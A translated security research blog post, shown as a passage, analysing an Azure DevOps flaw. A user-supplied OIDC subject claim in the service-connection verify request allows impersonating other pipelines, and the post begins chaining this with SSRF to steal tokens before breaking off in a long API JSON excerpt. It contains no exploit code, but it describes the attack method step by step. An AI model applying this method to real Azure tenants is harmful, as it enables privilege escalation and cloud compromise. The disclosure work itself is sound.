文章总结： 本文分析了AzureDevOps中的一个权限提升漏洞，源于联合凭证实现缺陷。攻击者可伪造OIDC令牌中的subject声明以冒充任意流水线，并结合SSRF漏洞窃取令牌，从而获取Azure环境的完全控制权。文章详细阐述了漏洞原理、利用链组合方式及对CI/CD安全的影响。
综合评分： 92
文章分类： 漏洞分析,云安全,渗透测试

Azure DevOps权限提升漏洞分析

Dubito
Dubito

云原生安全指北

2026年3月6日 08:35
江苏

注：本文翻译自 Daze Security 的文章《Azure DevOps Privilege Escalation via OIDC Abuse》[1]，可点击文末“阅读原文”按钮查看英文原文。

全文如下：

2025 年年中，我在 Azure DevOps 中发现了一个漏洞，该漏洞可用于提升权限，并通过 DevOps 服务连接入侵 Azure 环境。在大多数使用 DevOps 进行 CI/CD 并采用工作负载身份作为服务连接凭证的组织中，此漏洞可能被滥用来完全控制其 Azure 环境。

摘要

• Azure DevOps 存在一个权限提升漏洞，该漏洞源于其联合凭证（federated credentials）功能的实现缺陷。
• 一个低权限的 Azure DevOps 用户能够伪造 OIDC 令牌，以代表组织内的任意 CI/CD 流水线。
• 攻击者可以通过另一个 SSRF 漏洞来窃取令牌。
• 成功登录的日志显示，该登录行为源自 Azure DevOps 服务的 IP 地址。

一、引言

CI/CD 流水线（pipeline）常常被忽视，但它们却是组织中最关键的攻击面之一。在现代云开发和运维实践中，几乎所有操作都由这些流水线执行——它们通过基础设施即代码（infrastructure-as-code，IaC）部署云资源、配置这些资源、构建和部署代码，在某些组织中，甚至通过赋予流水线高权限来管理 Entra ID 本身。这意味着，如果攻击者能够获取分配给 CI/CD 流水线的权限，他们实际上就成为了管理员。

攻击者尝试夺取这些权限的方式有很多种，例如入侵权限过高的开发者、攻陷构建代理（build agents）、在源代码中查找 secrets，或发起 CI/CD 攻击。然而，这些通常是由于网络钓鱼、错误配置和不良操作实践导致的，并非本文要讨论的主题。

本文将重点介绍 Azure DevOps 产品本身存在的一个漏洞，该漏洞可被用来夺取其 CI/CD 流水线的权限。尚不清楚此缺陷存在了多久，但自 DevOps 和 Entra ID 推出联合凭证功能以来，大多数 Azure DevOps 环境很可能都受此漏洞影响。

虽然这个漏洞本身相当简单，但发现它的过程却并非如此。因此，我将引导读者了解将这个漏洞组合成完整利用方法过程中的种种曲折。

二、背景

与大多数漏洞相比，要理解这个问题需要对所涉及的技术有相当深入的了解。具体来说，我们需要了解以下内容：

• Entra ID 联合凭证（federated credentials）
• Azure DevOps 服务连接（Service Connections）和流水线（pipelines）
• OIDC
• DevOps 服务连接中 OIDC 的实现

在本节中，我们将对以上每个主题提供一些必要的背景知识。

2.1 Entra ID 联合凭证（Federated Credentials）

Entra ID 中的“服务主体（service principals）”是一种身份类型，常用于在系统间的认证和授权流程中代表一个系统。就像用户一样，可以为服务主体分配权限，以允许该服务主体对其他系统或 API 执行经过身份验证的操作。例如，可以为服务主体分配 Azure RBAC 角色和 Entra ID 角色，或者为其授予 Graph API 权限。

为了“使用”服务主体的权限，或者“登录”为服务主体，一个系统会向 Entra ID 执行 OAuth 客户端凭证授权（OAuth Client Credential Grant）[2]，以登录到特定的后端“资源”，例如 Azure 资源管理 API。此登录请求需要几个参数（详见上面的链接），其中包括该服务主体的客户端 ID（client ID）和某种类型的密钥（secret）。作为响应，Entra ID 会返回一个 OAuth 访问令牌（Access Token），然后可以使用该令牌代表该服务主体与后端资源进行交互。

可以在 Entra ID 服务主体上配置三种类型的密钥来执行这种登录：

• 客户端密钥（Client Secret）：一个简单的字符串，用于客户端凭证授权流程。
• 证书（Certificate）：用于签名一个“断言（assertion）”的证书，然后该断言被用于客户端凭证授权流程。
• 联合凭证（Federated Credential）：一个由 Issuer（颁发者）/Subject（主题）组成的配对。一个外部的 OIDC 提供方（颁发者）可以签名一个断言，而 Entra ID 将通过该提供方的众所周知的公共 URL[3]（这是 OIDC 的标准）来验证该断言确实是由该颁发者签名的。这个断言会被用于客户端凭证授权流程。

Entra ID 联合凭证允许用户在 Entra ID 和一个外部 OIDC 提供方之间建立“信任”。这些凭证是更简单的 OAuth 客户端密钥（secrets）和证书的替代方案，它们让用户可以避免执行密钥管理任务，例如向外部系统发送密钥以及轮换这些密钥。在可能的情况下，微软通常认为这是最佳实践。

2.2 Azure DevOps 服务连接和流水线

CI/CD 流水线需要权限才能向其配置或部署的后端资源进行身份验证。例如，在向 Azure 部署基础设施即代码的 CI/CD 流水线中，该流水线需要一种方法，通过向 Azure 订阅或管理组分配的 Azure RBAC 角色来进行身份验证。

如上一节所述，这需要使用 Entra ID 中的服务主体。需要将 CI/CD 环境配置为能够代表一个有权限访问 Azure 的服务主体进行登录。

在 Azure DevOps 中，你可以通过创建所谓的“服务连接（Service Connection）”[4]来实现这一点。根据你部署的目标系统不同，可以创建多种类型的服务连接。例如，你可以创建专门用于部署到 Azure、访问 Azure Key Vault 或连接到 NuGet 的服务连接。每种服务连接“类型（type）”都有用于身份验证的不同参数。

其中一些连接允许用户指定服务主体的参数进行身份验证，并允许用户选择流水线应使用哪种密钥类型来通过该服务主体向后端资源进行身份验证。在 Azure 中最常用的例子是 Azure 资源管理器（Azure Resource Manager）服务连接：

请注意上图中，此服务连接已配置为使用工作负载联合凭证（Workload Federation credential）来登录后端服务主体。下文将对此进行更详细的说明。

2.3 OpenID Connect (OIDC)

OIDC 是一个构建在 OAuth 2.0 之上的协议，它允许应用程序之间进行身份验证，既包括用户，也包括系统。

人们通常只在用户向应用程序进行身份验证的上下文中考虑 OIDC。然而，该协议也可用于服务到服务的身份验证。例如，如今大多数 CI/CD 流水线都提供了某种形式的 OIDC 支持。

简单来说，它的工作原理是这样的：一个后端应用程序需要被配置为“信任（trust）”一个特定的 OAuth/OIDC 授权服务器。这意味着，当该应用程序接收到一个由该 OIDC 颁发者签名的令牌时，它会执行以下简单步骤来检查该令牌是否可信：

1. 解码令牌（一个 JWT 令牌）。
2. 获取颁发者（issuer）声明。这通常是一个有效的域名，OIDC 的“发现”机制会用到这个域名。
3. 根据发现机制，从该颁发者域名下可用的已知端点（well-known endpoint）获取公开的配置和密钥。
4. 使用从颁发者获取的公钥验证 JWT 令牌的签名。

上述过程简化了一些细节和变体，但对于理解本文来说，这些是需要掌握的重要步骤。

令牌验证通过后，其内容就可以被应用程序信任。令牌的内容包含各种“声明（claims）”，这些声明可用于识别调用者或“客户端”。具体来说，其中有一个标准的 “主题（subject）” 声明，它唯一地标识了从颁发者获取令牌的用户或系统。

理解验证 OIDC 令牌的流程以及这个主题（subject）声明，对于理解本文所述漏洞的原理至关重要。

2.4 Azure DevOps 服务连接中 OIDC 的实现

OIDC 协议定义了如何通过授权服务器（颁发者issuer）在两个系统之间建立信任，但除了使用主题（subject）声明之外，它并没有描述如何唯一地标识经过身份验证的系统。在本节中，我们将描述这在 Azure DevOps 内部是如何工作的。

在 Azure DevOps 中，使用工作负载联合向 Entra ID 进行身份验证的流水线会用到 OIDC 协议。这与 Entra ID 联合凭证结合使用，以便在 Entra ID 中的服务主体和 Azure DevOps 中的特定流水线之间建立信任。此信任关系的配置方法是将颁发者（issuer）设置为 Azure DevOps 授权服务器，并将主题（subject）设置为代表流水线中使用的特定服务连接。

当 Azure DevOps 流水线运行时，它可以向 DevOps 颁发者为其所使用的服务连接请求一个 OIDC “id 令牌（id token）”。生成的令牌包含该服务连接的唯一主题（subject），如上所述。

在收到服务连接的 id 令牌后，Azure DevOps 流水线运行时会使用该令牌向 Entra ID 服务主体执行客户端凭证授权（client credential grant）（请参见上面关于 Entra ID 联合凭证的部分），并代表该服务主体接收访问令牌。Entra ID 将验证 OIDC 令牌中的主题（subject）是否与服务主体上配置的某个联合凭证相匹配，并且验证该令牌是使用在该联合凭证颁发者（issuer）的发现端点上找到的密钥签名的。

此流程如下图所示：

主题（Subject）声明的重要性

请注意在此设置中主题（subject）的重要性——这是 OIDC 令牌中唯一允许 Entra ID 区分是哪个服务连接和流水线正在尝试登录的声明。如果主题（subject）声明可以被控制，它就可能被用来冒充任何使用工作负载联合且令牌由同一颁发者签名的服务连接。这个主题（subject）声明正是本文所述漏洞的目标。

三、漏洞分析

基于上文详尽的背景介绍，这个漏洞就比较容易发现了。

Azure DevOps 中存在漏洞的功能，是创建服务连接时一个看起来人畜无害的“验证/保存”按钮：

在设置新的服务连接时，Azure DevOps 允许用户“验证”该服务连接是否可用。如果验证成功，则会保存。如果服务连接按照配置“登录”失败，则会向用户显示一条错误信息：

当选择工作负载联合密钥类型时，此功能同样存在。基于这个按钮的作用，以及它实际上会验证登录是否成功这一事实，我们可以推断出以下几点：

1. 当点击“验证并保存”时，Azure DevOps 会获取一个带有该服务连接主题（subject）的已签名 OIDC 令牌。
2. Azure DevOps 使用该 OIDC 令牌，针对所配置的服务主体执行一次完整的客户端凭证授权，并获取一个访问令牌。
3. Azure DevOps 使用这个访问令牌去调用某个后端 API，以检查令牌是否有效。

从表面上看，这些步骤似乎没什么危害。然而，当我们查看点击“验证并保存”按钮时实际发送给 DevOps API 的请求内容时，就会发现其中的数据非常可疑：

为什么说它可疑呢？

如果用户本不应能够定义 OIDC 令牌中的主题（subject），那为什么浏览器需要在此请求中将 subject 参数发送给 API？API 应该根据服务连接本身就能知道主题（subject）应该是什么！

请记住，如果我们能控制主题（subject），我们就能控制我们可以以哪个服务连接的身份登录。

这很可疑，但如果我们无法实际更改 DevOps 用来生成令牌的主题（subject），它就不一定是一个漏洞。设计欠佳的网站和 API 常常包含一些未被实际使用的多余参数。因此，让我们来看看如何进行测试……

验证漏洞

基于上面的截图，我们目前只有一个推测：开发人员搞错了，他们在生成 id 令牌时使用了用户提供的主题（subject），而不是使用映射到服务连接的那个主题。我们需要验证事实是否如此。

如果这个推测是正确的，那么我们就可以利用上面截获的 API 请求，强制 DevOps 生成一个带有任意主题（subject）的 id 令牌。该令牌将在对后端服务主体执行客户端凭证授权以“测试”连接时使用。验证这个推测的一个难点在于，我们实际上无法看到生成的 id 令牌，因为此 API 的响应要么是错误信息，要么是成功信息。

既然我们看不到 OIDC 令牌，我们可以通过创建一个主题（subject）永远不会被 DevOps 生成的 Entra ID 联合凭证，然后尝试用它登录，来验证我们是否能控制主题（subject）。如果 DevOps 能够验证这个凭证，那么就能证明我们可以控制主题（subject）声明。

这可以通过两个简单的步骤完成：

1. 创建一个新的服务主体和联合凭证，并设置一个随机的主题（subject）声明，例如：

2. 重复点击“验证并保存”时发送的 API 请求，但将请求中的主题（subject）替换为上面设置的主题。

这可以通过 Burp Suite 来完成，先截获请求，修改主题（subject）后再重放该请求。

当我们发送修改后的请求时，会神奇地发现该服务连接通过了针对带有测试主题（subject）声明的后端服务主体的“验证”。可惜我没有当时的响应截图，但请相信，它确实成功了。

现在，回想一下 DevOps 工作负载联合的工作原理，这意味着我们可以控制登录到哪个 Entra ID 服务主体——也就是说，我们可以强制 DevOps 登录到其他服务连接所使用的服务主体，从而可能实现权限提升！

然而，尽管这听起来很令人兴奋，但到目前为止还没有实际的利用方法——我们无法控制发送到后端 API 的请求，因此无法滥用它，而且我们目前也拿不到令牌……

四、漏洞利用

到目前为止，我们发现的似乎是一个没有实际影响的漏洞。我们知道，在通过这个“服务端点代理（service endpoint proxy）”API测试登录时，我们可以控制由 DevOps 颁发的 OIDC 令牌中的主题（subject）。但是，我们无法提取访问令牌，也无法修改请求。这需要第二个漏洞。

第二个漏洞

事实证明，同一个端点充满了 SSRF 漏洞。在我研究这个端点时，甚至发现其他本地研究人员[5]也已经在完全相同的端点上发现了几个其他的 SSRF。但这些并不是唯一的 SSRF。

当你点击“验证并保存”时发送给 API 的请求是一个对“服务端点代理”的 POST 请求。除了这个端点本身看起来就像是一个内置的 SSRF 漏洞之外（说真的，谁会认为这是个好主意？），这个请求还有点复杂，包含许多奇怪的细节。ServiceEndpointDetails 参数包含相当多有趣的字段，但不清楚如何使用这些字段。

请求中最有趣的两个参数实际上是 type 和 dataSourceName 参数。在上面的截图中，我们看到 type="azurerm"（大概是 Azure 资源管理器）和 dataSourceName="TestConnection"。也许，如果我们能枚举出所有可用的不同类型和 dataSources，就可以访问到一些更隐藏的功能？

在对 Azure DevOps 的 API 文档进行一番探索后，我在 /serviceendpoint/types API 中找到了所有这些信息。这个端点不仅列出了所有可用的服务连接类型，还列出了这些端点的可用配置、可用于验证连接的不同类型的“请求”，以及一些看起来像是在运行时用于将参数注入服务端点请求的模板。这个响应的内容太长了，无法放在这篇博客文章中。仅 azurerm 的定义本身就有超过 2000 行格式化的 json。但下面是 azurerm 定义的一个极度简化（但仍然很长）的版本，其中包含一些有趣的字段：

{
&nbsp; &nbsp;"inputDescriptors":[
&nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"mlWorkspaceName",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"ML Workspace Name",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"Machine Learning Workspace name for connecting to the endpoint.\nRefer to <a href=\"https://docs.microsoft.com/en-us/azure/machine-learning/service/how-to-manage-workspace\" class=\"links-connections bolt-link\" target=_blank>link</a> on how to create a ML workspace.",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "visibleRule":"scopeLevel == AzureMLWorkspace"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "isRequired":true,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "maxLength":255
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; },

&nbsp; &nbsp;],
&nbsp; &nbsp;"authenticationSchemes":[
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputDescriptors":[
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"accessToken",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Access Token",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"Access token to be used for creating the service principal",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":true,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "maxLength":256
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"values":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "inputId":"accessTokenInput",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "isDisabled":true
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"role",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Role",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"Role to be assigned to the service principal",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "maxLength":256
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"values":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "inputId":"roleInput",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "isDisabled":true
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"scope",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Scope",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"Scope on which the role should be assigned to the service principal",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "maxLength":1024
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"values":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "inputId":"scopeInput",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "isDisabled":true
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"accessTokenFetchingMethod",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Access Fetching Method",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"How the Access Token is fetched",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "maxLength":128
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"values":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "inputId":"accessTokenFetchingMethodInput",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "isDisabled":true
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"serviceprincipalid",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Application (client) ID",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":40,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "isRequired":true
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"tenantid",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Directory (tenant) ID",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":40,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "isRequired":true
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"workloadIdentityFederationSubject",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Workload Identity Federation subject",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"Workload Identity Federation subject that will be used in the subject claim of the client assertion token. \nThis is derived from your organization, project and service connection name, and cannot be set by the user. \nRefer to <a href=\"https://aka.ms/azdo-rm-workload-identity\" class=\"links-connections bolt-link\" target=_blank>Workload Identity Federation in AzureDevOps link</a> on how this is used.",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"properties":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"inputMode":0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"isConfidential":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"useInDefaultDescription":false,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"groupName":"AuthenticationParameter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"valueHint":null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"validation":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "dataType":10
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"id":"workloadIdentityFederationIssuer",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"name":"Workload Identity Federation issuer",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":"Workload Identity Federation issuer that will be used in the issuer claim of the client assertion token. \nThis is unique to an organization, and cannot be set by the user. \nRefer to <a href=\"https://aka.ms/azdo-rm-workload-identity\" class=\"links-connections bolt-link\" target=_blank>Workload Identity Federation in AzureDevOps link</a> on how this is used.",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"type":null,
